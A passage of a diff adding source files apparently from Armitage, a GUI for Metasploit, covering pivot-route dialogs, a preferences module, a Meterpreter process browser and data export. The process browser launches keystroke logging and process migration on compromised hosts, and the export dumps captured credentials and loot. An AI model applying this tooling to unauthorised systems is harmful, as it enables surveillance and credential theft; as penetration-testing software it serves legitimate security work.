|
||||
|
||||
sub setupArpScanDialog {
|
||||
return lambda({
|
||||
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "ARP Scan", $label => "ARP Scan", $function => &arp_scan_function);
|
||||
m_cmd($sid, "route");
|
||||
}, $sid => "$1");
|
||||
}
|
||||
|
||||
sub setupPingSweepDialog {
|
||||
return lambda({
|
||||
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Ping Sweep", $label => "Ping Sweep", $function => &ping_sweep_function);
|
||||
m_cmd($sid, "route");
|
||||
}, $sid => "$1");
|
||||
}
|
||||
|
||||
# killPivots(sid, session data
|
||||
sub killPivots {
|
||||
local('$route');
|
||||
foreach $route (split(',', $2['routes'])) {
|
||||
cmd_safe("route remove " . strrep($route, '/', ' ') . " $1");
|
||||
}
|
||||
|
||||
elog("removed pivot: " . $2['routes']);
|
||||
}
|
||||
@@ -0,0 +1,374 @@
|
||||
#
|
||||
# Preferences
|
||||
#
|
||||
|
||||
import table.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import java.io.*;
|
||||
import msf.DatabaseImpl;
|
||||
import ui.*;
|
||||
|
||||
global('$preferences $debug $motd $DATA_DIRECTORY $BASE_DIRECTORY $TITLE $CLIENT_CONFIG');
|
||||
|
||||
sub iHateYaml {
|
||||
local('$handle %result $current $text $key $value');
|
||||
$handle = openf($1);
|
||||
$current = "default";
|
||||
while $text (readln($handle)) {
|
||||
if ($text ismatch '(\w+):') {
|
||||
$current = matched()[0];
|
||||
}
|
||||
else if ($text ismatch '\s+([\w\\.]+): [\'"]{0,1}([\w\\.]+)[\'"]{0,1}') {
|
||||
($key, $value) = matched();
|
||||
%result[$current][$key] = $value;
|
||||
}
|
||||
}
|
||||
return %result;
|
||||
}
|
||||
|
||||
sub parseYaml {
|
||||
# all heil the Yaml file... holder of the database info.
|
||||
|
||||
local('$database $user $pass $host $port $driver $object $file $setting');
|
||||
($file, $setting) = $2;
|
||||
try {
|
||||
$object = iHateYaml($file);
|
||||
$object = $object[$setting];
|
||||
|
||||
if ($object !is $null) {
|
||||
($user, $pass, $database, $driver, $host, $port) = values($object, @("username", "password", "database", "adapter", "host", "port"));
|
||||
|
||||
[$1 setProperty: "connect.db_connect.string", "$user $+ :\" $+ $pass $+ \"@ $+ $host $+ : $+ $port $+ / $+ $database"];
|
||||
[$1 setProperty: "connect.db_driver.string", $driver];
|
||||
}
|
||||
}
|
||||
catch $exception {
|
||||
showError("Couldn't load yaml file: $file $+ \n $+ $exception");
|
||||
}
|
||||
}
|
||||
|
||||
sub loadPreferences {
|
||||
local('$file $prefs');
|
||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||
$prefs = [new Properties];
|
||||
if (-exists $file) {
|
||||
[$prefs load: [new java.io.FileInputStream: $file]];
|
||||
}
|
||||
else {
|
||||
[$prefs load: resource("resources/armitage.prop")];
|
||||
}
|
||||
|
||||
# parse command line options here.
|
||||
|
||||
global('$yaml_file $yaml_entry');
|
||||
local('%env');
|
||||
$yaml_entry = "production";
|
||||
|
||||
%env = convertAll([System getenv]);
|
||||
if ("MSF_DATABASE_CONFIG" in %env) {
|
||||
$yaml_file = %env["MSF_DATABASE_CONFIG"];
|
||||
}
|
||||
|
||||
while (size(@ARGV) > 0) {
|
||||
if (@ARGV[0] eq "-y" && -exists @ARGV[1]) {
|
||||
$yaml_file = @ARGV[1];
|
||||
@ARGV = sublist(@ARGV, 2);
|
||||
}
|
||||
else if (@ARGV[0] eq "-e") {
|
||||
$yaml_entry = @ARGV[1];
|
||||
@ARGV = sublist(@ARGV, 2);
|
||||
}
|
||||
else if (@ARGV[0] eq "--motd" || @ARGV[0] eq "-m") {
|
||||
$motd = @ARGV[1];
|
||||
@ARGV = sublist(@ARGV, 2);
|
||||
if (!-exists $motd) {
|
||||
warn("$motd file does not exist. Clients will not see MOTD.");
|
||||
}
|
||||
}
|
||||
else if (@ARGV[0] eq "--server") {
|
||||
break;
|
||||
}
|
||||
else if (@ARGV[0] eq "--client") {
|
||||
$CLIENT_CONFIG = @ARGV[1];
|
||||
@ARGV = sublist(@ARGV, 2);
|
||||
if (!-exists $CLIENT_CONFIG) {
|
||||
warn("$CLIENT_CONFIG file does not exist. Will show something else.");
|
||||
}
|
||||
}
|
||||
else {
|
||||
showError("I don't understand these arguments:\n" . join("\n", @ARGV));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$TITLE = [$prefs getProperty: "armitage.application_title.string", "Armitage"];
|
||||
return $prefs;
|
||||
}
|
||||
|
||||
sub loadDatabasePreferences {
|
||||
if ($yaml_file eq "" || !-exists $yaml_file) {
|
||||
$yaml_file = getFileProper($BASE_DIRECTORY, "config", "database.yml");
|
||||
}
|
||||
|
||||
if (!-exists $yaml_file) {
|
||||
throw [new RuntimeException: "I can not find a database.yml file. I *really* need it.\nTry setting MSF_DATABASE_CONFIG to a file that exists."];
|
||||
}
|
||||
else if (!-canread $yaml_file) {
|
||||
throw [new RuntimeException: "I do not have permission to read: $yaml_file $+ .\nRun me as root please."];
|
||||
}
|
||||
else {
|
||||
parseYaml($1, @($yaml_file, $yaml_entry));
|
||||
}
|
||||
return [$1 getProperty: "connect.db_connect.string"];
|
||||
}
|
||||
|
||||
sub savePreferences {
|
||||
local('$file');
|
||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||
if (-exists getFileParent($file)) {
|
||||
[$preferences save: [new java.io.FileOutputStream: $file], "Armitage Configuration"];
|
||||
}
|
||||
}
|
||||
|
||||
$preferences = loadPreferences();
|
||||
|
||||
sub makePrefModel {
|
||||
local('$model');
|
||||
$model = [new GenericTableModel: @("component", "name", "type", "value"), "name", 32];
|
||||
return updatePrefModel($model);
|
||||
}
|
||||
|
||||
sub updatePrefModel {
|
||||
local('$key $value $component $name $type $model');
|
||||
$model = $1;
|
||||
[$model setCellEditable: 3];
|
||||
|
||||
foreach $key => $value (convertAll($preferences)) {
|
||||
($component, $name, $type) = split('\\.', $key);
|
||||
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder") {
|
||||
$type = "$type \u271A";
|
||||
}
|
||||
|
||||
[$model addEntry: %(component => $component, name => $name, type => $type, value => $value, key => "$key")];
|
||||
}
|
||||
return $model;
|
||||
}
|
||||
|
||||
# $select = [new JComboBox: @("Font", "Monospaced", "Courier New", "Courier")];
|
||||
# $style = [new JComboBox: @("Style", "Bold", "Italic", "Bold/Italic")];
|
||||
# $size = [new JComboBox: @("Size")];
|
||||
|
||||
sub selectListener {
|
||||
local('$f_font $f_style $f_size $describe');
|
||||
$f_font = [$select getSelectedItem];
|
||||
$f_style = strrep(uc([$style getSelectedItem]), ' + ', '');
|
||||
$f_size = [$size getSelectedItem];
|
||||
|
||||
$describe = "$f_font $+ - $+ $f_style $+ - $+ $f_size";
|
||||
[$preview setFont: [Font decode: $describe]];
|
||||
[$dialog pack];
|
||||
return $describe;
|
||||
}
|
||||
|
||||
sub createPreferencesTab {
|
||||
local('$table $model $panel $sorter $model $l');
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$model = makePrefModel();
|
||||
|
||||
$table = [new ATable: $model];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
# allow only one row to be selected at a time.
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
||||
local('$sel $type $color $row $value');
|
||||
$sel = [$model getSelectedValue: $table];
|
||||
$type = [$model getSelectedValueFromColumn: $table, "type"];
|
||||
$row = [$model getSelectedRow: $table];
|
||||
$value = [$model getSelectedValueFromColumn: $table, "value"];
|
||||
|
||||
# strip the last two characters off.
|
||||
$type = substr($type, 0, -2);
|
||||
|
||||
if ($type eq "color") {
|
||||
$color = [JColorChooser showDialog: $table, "pick a color", [Color decode: iff($value eq "", "#000000", $value)]];
|
||||
|
||||
if ($color !is $null) {
|
||||
[$model setValueAtRow: $row, "value", '#' . substr(formatNumber(uint([$color getRGB]), 10, 16), 2)];
|
||||
[$model fireListeners];
|
||||
}
|
||||
}
|
||||
else if ($type eq "folder") {
|
||||
local('$file');
|
||||
$file = chooseFile($dirsonly => 1);
|
||||
if ($file !is $null) {
|
||||
[$model setValueAtRow: $row, "value", $file];
|
||||
[$model fireListeners];
|
||||
}
|
||||
}
|
||||
else if ($type eq "font") {
|
||||
local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style');
|
||||
$dialog = dialog("Choose a font", 640, 240);
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
|
||||
$font = [Font decode: $value];
|
||||
|
||||
$graphics = [GraphicsEnvironment getLocalGraphicsEnvironment];
|
||||
|
||||
# style..
|
||||
if ([$font isItalic] && [$font isBold]) { $_style = "Bold + Italic"; }
|
||||
else if ([$font isItalic]) { $_style = "Italic"; }
|
||||
else if ([$font isBold]) { $_style = "Bold"; }
|
||||
else { $_style = "Plain"; }
|
||||
|
||||
$select = select([$graphics getAvailableFontFamilyNames], [$font getFamily]);
|
||||
$style = select(@("Plain", "Bold", "Italic", "Bold + Italic"), $_style);
|
||||
$size = select(@(5, 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 23, 26, 30, 33, 38), [$font getSize] . "");
|
||||
|
||||
$preview = [new JLabel: "nEWBS gET p0WNED by km-r4d h4x0rz"];
|
||||
|
||||
$l = lambda(&selectListener, \$select, \$style, \$size, \$preview, \$dialog);
|
||||
map(lambda({ [$1 addItemListener: $l]; }, \$l), @($select, $style, $size));
|
||||
[$l];
|
||||
|
||||
$ok = [new JButton: "Ok"];
|
||||
[$ok addActionListener: lambda({
|
||||
local('$font');
|
||||
[$model setValueAtRow: $row, "value", [$l]];
|
||||
[$model fireListeners];
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog, \$model, \$row, \$l)];
|
||||
|
||||
$cancel = [new JButton: "Cancel"];
|
||||
[$cancel addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||
|
||||
[$dialog add: center($select, $style, $size), [BorderLayout NORTH]];
|
||||
[$dialog add: center($preview)];
|
||||
[$dialog add: center($ok, $cancel), [BorderLayout SOUTH]];
|
||||
[$dialog pack];
|
||||
[$dialog setVisible: 1];
|
||||
[$dialog show];
|
||||
}
|
||||
else if ($type eq "shortcut") {
|
||||
local('$dialog $label');
|
||||
$dialog = dialog("Shortcut", 100, 100);
|
||||
$label = [new JLabel: "Type the desired key:"];
|
||||
[$dialog add: $label];
|
||||
[$dialog pack];
|
||||
|
||||
[$label setFocusTraversalKeys: [KeyboardFocusManager FORWARD_TRAVERSAL_KEYS], [new HashSet]];
|
||||
[$label setFocusTraversalKeys: [KeyboardFocusManager BACKWARD_TRAVERSAL_KEYS], [new HashSet]];
|
||||
[$label setFocusTraversalKeys: [KeyboardFocusManager UP_CYCLE_TRAVERSAL_KEYS], [new HashSet]];
|
||||
|
||||
[$label addKeyListener: lambda({
|
||||
if ($0 eq "keyReleased") {
|
||||
[$model setValueAtRow: $row, "value", strrep([KeyStroke getKeyStrokeForEvent: $1], 'released', 'pressed')];
|
||||
[$model fireListeners];
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
}, \$dialog, \$model, \$row)];
|
||||
|
||||
[$dialog setVisible: 1];
|
||||
[$dialog show];
|
||||
[$label requestFocus];
|
||||
}
|
||||
}
|
||||
}, \$model, \$table));
|
||||
|
||||
local('$button $reset');
|
||||
$button = [new JButton: "Save"];
|
||||
[$button addActionListener: lambda({
|
||||
local('$row $key $value');
|
||||
$preferences = [new Properties];
|
||||
foreach $row (convertAll([$model getRows])) {
|
||||
($key, $value) = values($row, @('key', 'value'));
|
||||
[$preferences setProperty: $key, $value];
|
||||
}
|
||||
savePreferences();
|
||||
showError("Preferences saved.");
|
||||
}, \$model)];
|
||||
|
||||
$reset = [new JButton: "Reset"];
|
||||
[$reset addActionListener: lambda({
|
||||
local('$file');
|
||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||
deleteFile($file);
|
||||
$preferences = loadPreferences();
|
||||
[$model clear: 256];
|
||||
updatePrefModel($model);
|
||||
[$model fireListeners];
|
||||
}, \$model)];
|
||||
|
||||
[$panel add: center($button, $reset), [BorderLayout SOUTH]];
|
||||
|
||||
local('$dialog');
|
||||
$dialog = dialog("Preferences", 640, 480);
|
||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
||||
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||
[$dialog setVisible: 1];
|
||||
[$dialog show];
|
||||
}
|
||||
|
||||
# sets up the Metasploit base file and the data directory file...
|
||||
sub setupBaseDirectory {
|
||||
local('%o');
|
||||
%o = call($client, "module.options", "post", "multi/gather/dns_bruteforce");
|
||||
if ("NAMELIST" in %o && "default" in %o["NAMELIST"]) {
|
||||
$BASE_DIRECTORY = getFileParent(getFileParent(getFileParent(getFileParent(%o["NAMELIST"]["default"]))));
|
||||
$DATA_DIRECTORY = getFileParent(getFileParent(%o["NAMELIST"]["default"]));
|
||||
}
|
||||
}
|
||||
|
||||
sub connectToDatabase {
|
||||
local('$dbuser $dbpass $dburl $database $dbstring');
|
||||
$dbstring = loadDatabasePreferences($preferences);
|
||||
|
||||
if ($dbstring eq "") {
|
||||
throw [new RuntimeException: "could not find database settings"];
|
||||
}
|
||||
|
||||
($dbuser, $dbpass, $dburl) = matches($dbstring, '(.*?):.(.*?).@(.*)');
|
||||
$database = [new DatabaseImpl];
|
||||
[$database connect: "jdbc:postgresql:// $+ $dburl", $dbuser, $dbpass];
|
||||
|
||||
# connect to the database from metasploit if need be.
|
||||
cmd_safe("db_status", lambda({
|
||||
if ("* connected to *" !iswm $3) {
|
||||
cmd_safe("db_connect $dbstring", {
|
||||
warn(@_);
|
||||
});
|
||||
}
|
||||
}, \$dbstring));
|
||||
|
||||
return $database;
|
||||
}
|
||||
|
||||
sub dataDirectory {
|
||||
local('$f');
|
||||
|
||||
if ([$preferences getProperty: "armitage.log_data_here.folder", ""] eq "") {
|
||||
[$preferences setProperty: "armitage.log_data_here.folder", getFileProper(systemProperties()["user.home"], ".armitage")];
|
||||
savePreferences();
|
||||
}
|
||||
|
||||
$f = [$preferences getProperty: "armitage.log_data_here.folder"];
|
||||
if (-exists $f && !-canwrite $f) {
|
||||
println("I do not have permission to write to:\n $+ $f");
|
||||
}
|
||||
|
||||
return $f;
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#
|
||||
# Process Browser (for Meterpreter)
|
||||
#
|
||||
|
||||
import table.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import ui.*;
|
||||
|
||||
global('%processes');
|
||||
%processes = ohash();
|
||||
|
||||
setMissPolicy(%processes, { return [new GenericTableModel: @("PID", "Name", "Arch", "Session", "User", "Path"), "PID", 128]; });
|
||||
|
||||
sub parseProcessList {
|
||||
if ($0 eq "end") {
|
||||
local('@rows $row');
|
||||
[%processes[$1] clear: 128];
|
||||
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
|
||||
foreach $row (@rows) {
|
||||
[%processes[$1] addEntry: $row];
|
||||
}
|
||||
[%processes[$1] fireListeners];
|
||||
}
|
||||
}
|
||||
|
||||
%handlers["ps"] = &parseProcessList;
|
||||
%handlers["migrate"] = { if ($0 eq "begin") { showError("$2"); } };
|
||||
|
||||
sub createProcessBrowser {
|
||||
local('$table $model $panel $sorter');
|
||||
|
||||
$model = %processes[$1];
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$table = [new ATable: $model];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
# setup popup hook for processes
|
||||
addMouseListener($table, lambda({
|
||||
if ([$1 isPopupTrigger]) {
|
||||
local('$r');
|
||||
$r = [$model getSelectedValuesFromColumns: $table, @("PID", "Name", "User", "Path")];
|
||||
if (size($r) > 0) {
|
||||
installMenu($1, "process", $r);
|
||||
}
|
||||
}
|
||||
}, \$table, \$model));
|
||||
|
||||
# allow only one row to be selected at a time.
|
||||
|
||||
[$sorter setComparator: 0, {
|
||||
return $1 <=> $2;
|
||||
}];
|
||||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
local('$a $b $bb $c');
|
||||
$a = [new JButton: "Kill"];
|
||||
[$a addActionListener: lambda({
|
||||
local('$procs $v');
|
||||
$procs = [$model getSelectedValues: $table];
|
||||
foreach $v ($procs) {
|
||||
m_cmd($m, "kill $v");
|
||||
}
|
||||
sleep(250);
|
||||
m_cmd($m, "ps");
|
||||
}, $m => $1, \$table, \$model)];
|
||||
|
||||
$b = [new JButton: "Migrate"];
|
||||
[$b addActionListener: lambda({
|
||||
local('$v');
|
||||
$v = [$model getSelectedValue: $table];
|
||||
if ($v !is $null) {
|
||||
m_cmd($m, "migrate $v");
|
||||
}
|
||||
}, $m => $1, \$table, \$model)];
|
||||
|
||||
$bb = [new JButton: "Log Keystrokes"];
|
||||
[$bb addActionListener: lambda({
|
||||
local('$v');
|
||||
$v = [$model getSelectedValue: $table];
|
||||
if ($v !is $null) {
|
||||
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $m, MIGRATE => 1, ShowKeystrokes => 1, PID => $v, CAPTURE_TYPE => "pid"));
|
||||
}
|
||||
}, $m => $1, \$table, \$model)];
|
||||
|
||||
$c = [new JButton: "Refresh"];
|
||||
[$c addActionListener:
|
||||
lambda({
|
||||
m_cmd($m, "ps");
|
||||
}, $m => $1)
|
||||
];
|
||||
|
||||
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
|
||||
|
||||
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
|
||||
m_cmd($1, "ps");
|
||||
}
|
||||
@@ -0,0 +1,361 @@
|
||||
#
|
||||
# Armitage Reporting... (well, sorta... not going to generate PDFs any time soon :))
|
||||
#
|
||||
|
||||
import java.io.*;
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
|
||||
sub dumpTSVData {
|
||||
local('$handle $entry $key $value');
|
||||
if ($3 is $null) {
|
||||
warn("No data for $1");
|
||||
return;
|
||||
}
|
||||
|
||||
$handle = openf("> $+ $1 $+ .tsv");
|
||||
println($handle, join("\t", $2));
|
||||
foreach $entry ($3) {
|
||||
foreach $key => $value ($entry) {
|
||||
$value = strrep(["$value" trim], "\t", " ", "\n", "\\n");
|
||||
}
|
||||
|
||||
println($handle, join("\t", values($entry, $2)));
|
||||
}
|
||||
closef($handle);
|
||||
}
|
||||
|
||||
sub dumpXMLData {
|
||||
local('$handle $entry $key $value');
|
||||
if ($3 is $null) {
|
||||
warn("No data for $1");
|
||||
return;
|
||||
}
|
||||
$handle = openf("> $+ $1 $+ .xml");
|
||||
println($handle, "< $+ $1 $+ >");
|
||||
foreach $entry ($3) {
|
||||
println($handle, "\t<entry>");
|
||||
foreach $key ($2) {
|
||||
$value = $entry[$key];
|
||||
if ($key eq "info") {
|
||||
println($handle, "\t\t< $+ $key $+ ><![CDATA[ $+ $value $+ ]]></ $+ $key $+ >");
|
||||
}
|
||||
else {
|
||||
println($handle, "\t\t< $+ $key $+ > $+ $value $+ </ $+ $key $+ >");
|
||||
}
|
||||
}
|
||||
println($handle, "\t</entry>");
|
||||
}
|
||||
println($handle, "</ $+ $1 $+ >");
|
||||
closef($handle);
|
||||
}
|
||||
|
||||
sub dumpData {
|
||||
dumpXMLData($1, $2, $3);
|
||||
dumpTSVData($1, $2, $3);
|
||||
logFile("$1 $+ .xml", "artifacts", "xml");
|
||||
logFile("$1 $+ .tsv", "artifacts", "tsv");
|
||||
deleteFile("$1 $+ .xml");
|
||||
deleteFile("$1 $+ .tsv");
|
||||
}
|
||||
|
||||
sub fixHosts {
|
||||
return sort({
|
||||
return [graph.Route ipToLong: $1['address']] <=> [graph.Route ipToLong: $2['address']];
|
||||
}, $1);
|
||||
}
|
||||
|
||||
sub fixSessions {
|
||||
local('$session $info');
|
||||
foreach $session ($1) {
|
||||
if ("exploit/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 8) in @exploits) {
|
||||
$info = call($mclient, "module.info", "exploit", substr($session['via_exploit'], 8));
|
||||
|
||||
# fix some options
|
||||
$session['exploit_name'] = $info['name'];
|
||||
}
|
||||
else if ("auxiliary/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 10) in @auxiliary) {
|
||||
$info = call($mclient, "module.info", "auxiliary", substr($session['via_exploit'], 10));
|
||||
|
||||
# fix some options
|
||||
$session['exploit_name'] = $info['name'];
|
||||
}
|
||||
}
|
||||
return $1;
|
||||
}
|
||||
|
||||
sub fixTimeline {
|
||||
local('$event $source $username');
|
||||
foreach $event ($1) {
|
||||
($source, $username) = split('//', $event['username']);
|
||||
$event['source'] = $source;
|
||||
$event['username'] = $username;
|
||||
}
|
||||
return $1;
|
||||
}
|
||||
|
||||
sub fixVulns {
|
||||
local('$id $vuln %vulns %refs $info');
|
||||
%refs = ohash();
|
||||
setMissPolicy(%refs, { return @(); });
|
||||
|
||||
# let's group everything by a unique vulnerability id... we're going to collapse the
|
||||
# the vulns into one row with comma separated refs.
|
||||
foreach $vuln ($1) {
|
||||
$id = $vuln['vid'];
|
||||
%vulns[$id] = $vuln;
|
||||
push(%refs[$id], $vuln['refs']);
|
||||
}
|
||||
|
||||
# fix the references...
|
||||
foreach $id => $vuln (%vulns) {
|
||||
$vuln['refs'] = join(", ", %refs[$id]);
|
||||
|
||||
if ("exploit/*" iswm $vuln['name'] && substr($vuln['name'], 8) in @exploits) {
|
||||
$info = call($mclient, "module.info", "exploit", substr($vuln['name'], 8));
|
||||
|
||||
# fix some options
|
||||
$vuln['module'] = $vuln['name'];
|
||||
$vuln['name'] = $info['name'];
|
||||
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
||||
}
|
||||
else if ("auxiliary/*" iswm $vuln['name'] && substr($vuln['name'], 10) in @auxiliary) {
|
||||
$info = call($mclient, "module.info", "auxiliary", substr($vuln['name'], 10));
|
||||
|
||||
# fix some options
|
||||
$vuln['module'] = $vuln['name'];
|
||||
$vuln['name'] = $info['name'];
|
||||
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
||||
}
|
||||
}
|
||||
|
||||
return sort({
|
||||
return [graph.Route ipToLong: $1['host']] <=> [graph.Route ipToLong: $2['host']];
|
||||
}, values(%vulns));
|
||||
}
|
||||
|
||||
#
|
||||
# query all of the data that we want...
|
||||
# queryData(%workspace)
|
||||
#
|
||||
sub queryData {
|
||||
local('%r $progress');
|
||||
|
||||
# 1. extract the known vulnerability information
|
||||
%r['vulns'] = call($mclient, "db.vulns")["vulns"];
|
||||
|
||||
if ($progress) {
|
||||
[$progress setProgress: 10];
|
||||
}
|
||||
|
||||
%r['vulns'] = fixVulns(%r['vulns']);
|
||||
|
||||
# 2. credentials
|
||||
%r['creds'] = call($mclient, "db.creds")["creds"];
|
||||
|
||||
if ($progress) {
|
||||
[$progress setProgress: 20];
|
||||
}
|
||||
|
||||
# 3. loot
|
||||
%r['loots'] = call($mclient, "db.loots")["loots"];
|
||||
|
||||
if ($progress) {
|
||||
[$progress setProgress: 30];
|
||||
}
|
||||
|
||||
# 4. clients
|
||||
%r['clients'] = call($mclient, "db.clients")["clients"];
|
||||
|
||||
if ($progress) {
|
||||
[$progress setProgress: 35];
|
||||
}
|
||||
|
||||
# 5. sessions...
|
||||
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
|
||||
|
||||
if ($progress) {
|
||||
[$progress setProgress: 36];
|
||||
}
|
||||
|
||||
# 6. timeline
|
||||
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
|
||||
|
||||
if ($progress) {
|
||||
[$progress setProgress: 38];
|
||||
}
|
||||
|
||||
# 7. hosts and services
|
||||
local('@hosts @services $temp $h $s $x');
|
||||
call($mclient, "armitage.prep_export", $1);
|
||||
|
||||
$temp = call($mclient, "armitage.export_data");
|
||||
while (size($temp['hosts']) > 0) {
|
||||
($h, $s) = values($temp, @('hosts', 'services'));
|
||||
addAll(@hosts, $h);
|
||||
addAll(@services, $s);
|
||||
|
||||
if ($progress) {
|
||||
[$progress setProgress: 35 + $x];
|
||||
}
|
||||
$x += 2;
|
||||
sleep(50);
|
||||
$temp = call($mclient, "armitage.export_data");
|
||||
}
|
||||
|
||||
%r['hosts'] = fixHosts(@hosts);
|
||||
%r['services'] = @services;
|
||||
|
||||
return %r;
|
||||
}
|
||||
|
||||
#
|
||||
# extract and export Metasploit data to easily parsable files (TSV and XML)
|
||||
#
|
||||
sub generateArtifacts {
|
||||
local('$dialog $select @workspaces $export');
|
||||
|
||||
$dialog = dialog("Export Data", 320, 200);
|
||||
|
||||
@workspaces = map({ return $1['name']; }, workspaces());
|
||||
add(@workspaces, "All Hosts");
|
||||
|
||||
$select = select(@workspaces, "Show All");
|
||||
$export = [new JButton: "Export"];
|
||||
[$export addActionListener: lambda({
|
||||
thread(lambda({
|
||||
local('$filter $files');
|
||||
if ($item eq "All Hosts") {
|
||||
$filter = %();
|
||||
}
|
||||
else {
|
||||
$filter = search(workspaces(),
|
||||
lambda({
|
||||
return iff($1['name'] eq $item, $1);
|
||||
}, \$item));
|
||||
}
|
||||
|
||||
$files = _generateArtifacts($filter);
|
||||
[gotoFile([new java.io.File: $files])];
|
||||
}, $item => [$select getSelectedItem]));
|
||||
[$dialog setVisible: 0];
|
||||
}, \$select, \$dialog)];
|
||||
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
[$dialog add: label_for("Workspace:", 100, $select), [BorderLayout CENTER]];
|
||||
[$dialog add: center($export), [BorderLayout SOUTH]];
|
||||
[$dialog pack];
|
||||
[$dialog setVisible: 1];
|
||||
[$dialog show];
|
||||
}
|
||||
|
||||
sub _generateArtifacts {
|
||||
local('%data $progress');
|
||||
|
||||
$progress = [new javax.swing.ProgressMonitor: $null, "Exporting Data", "Querying Database...", 0, 100];
|
||||
%data = queryData($1, \$progress);
|
||||
|
||||
[$progress setProgress: 50];
|
||||
[$progress setNote: "Exporting Data"];
|
||||
|
||||
# 1. extract the known vulnerability information
|
||||
dumpData("vulnerabilities", @("host", "port", "proto", "updated_at", "name", "refs", "info", "module"), %data['vulns']);
|
||||
|
||||
[$progress setProgress: 55];
|
||||
|
||||
# 2. credentials
|
||||
dumpData("credentials", @("host", "port", "proto", "sname", "created_at", "active", "ptype", "user", "pass"), %data['creds']);
|
||||
|
||||
[$progress setProgress: 60];
|
||||
|
||||
# 3. loot
|
||||
dumpData("loots", @("host", "ltype", "created_at", "updated_at", "info", "content_type", "name", "path"), %data['loots']);
|
||||
|
||||
[$progress setProgress: 65];
|
||||
|
||||
# 4. clients
|
||||
dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']);
|
||||
|
||||
[$progress setProgress: 70];
|
||||
|
||||
# 5. hosts
|
||||
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
|
||||
|
||||
[$progress setProgress: 80];
|
||||
|
||||
# 6. services
|
||||
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
|
||||
|
||||
[$progress setProgress: 90];
|
||||
|
||||
# 7. sessions
|
||||
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
|
||||
|
||||
[$progress setProgress: 93];
|
||||
|
||||
# 8. timeline
|
||||
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
|
||||
|
||||
[$progress setProgress: 96];
|
||||
|
||||
# 9. take a pretty screenshot of the graph view...
|
||||
[$progress setNote: "host picture :)"];
|
||||
|
||||
makeScreenshot("hosts.png");
|
||||
if (-exists "hosts.png") {
|
||||
logFile("hosts.png", "artifacts", ".");
|
||||
deleteFile("hosts.png");
|
||||
}
|
||||
|
||||
[$progress setProgress: 100];
|
||||
[$progress close];
|
||||
|
||||
return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts");
|
||||
}
|
||||
|
||||
#
|
||||
# connects to the database (if necessary), resets the host index for pagination and... rocks it!
|
||||
#
|
||||
sub api_prep_export {
|
||||
if ($db is $null) {
|
||||
$db = connectToDatabase();
|
||||
}
|
||||
|
||||
[$db resetHostsIndex];
|
||||
[$db execute: "db.filter", $2];
|
||||
return %(status => "success");
|
||||
}
|
||||
|
||||
# pages through database and grabs all of the hosts and services data
|
||||
sub api_export_data {
|
||||
local('@hosts $temp @services $stemp');
|
||||
|
||||
# call db.filter here if requested...
|
||||
@hosts = call($db, "db.hosts")['hosts'];
|
||||
|
||||
# get all of the services for these hosts...
|
||||
[$db resetServicesIndex];
|
||||
$temp = call($db, "db.services")['services'];
|
||||
|
||||
while (size($temp) > 0) {
|
||||
addAll(@services, $temp);
|
||||
